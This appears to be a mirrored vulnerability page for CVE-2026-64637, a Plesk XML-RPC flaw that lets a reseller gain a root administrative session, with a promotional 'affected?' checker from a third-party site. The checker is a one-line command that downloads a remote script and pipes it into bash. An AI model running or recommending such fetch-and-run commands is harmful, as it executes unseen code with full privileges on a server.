NVD · CVE-2026-64637

CVE-2026-64637

Published: Fri, 07 Aug 2026 18:17

CVE-2026-64637

Summary

Improper privilege management in the XML-RPC API of Plesk before 18.0.80, allows an authenticated reseller to obtain an administrative session for the root user account.

Are YOU affected by CVE-2026-64637?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-64637 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://support.plesk.com/hc/en-us/articles/42432168683799

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